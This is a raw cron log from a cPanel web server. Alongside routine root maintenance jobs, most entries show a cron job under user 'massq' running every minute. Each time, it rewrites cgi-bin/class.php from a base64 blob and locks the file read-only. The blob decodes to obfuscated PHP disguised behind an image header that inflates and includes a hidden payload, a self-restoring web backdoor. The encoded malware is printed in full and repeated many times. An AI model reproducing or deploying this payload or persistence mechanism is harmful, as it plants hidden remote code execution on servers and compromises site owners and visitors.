Nov 11 04:27:01 server CROND[13708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:28:01 server CROND[14508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:29:01 server CROND[15278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:30:01 server CROND[16095]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov 11 04:30:01 server CROND[16096]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 04:30:01 server CROND[16099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:30:01 server CROND[16102]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 04:30:01 server CROND[16101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:30:01 server CROND[16100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:31:01 server CROND[17068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:32:01 server CROND[17888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:33:01 server CROND[18646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:34:01 server CROND[19470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:35:01 server CROND[20285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:35:01 server CROND[20287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:35:01 server CROND[20288]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 04:35:01 server CROND[20290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 04:35:01 server CROND[20289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:36:01 server CROND[21167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:37:01 server CROND[21970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:38:01 server CROND[22891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:39:01 server CROND[23696]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 04:39:01 server CROND[23697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:40:01 server CROND[24543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
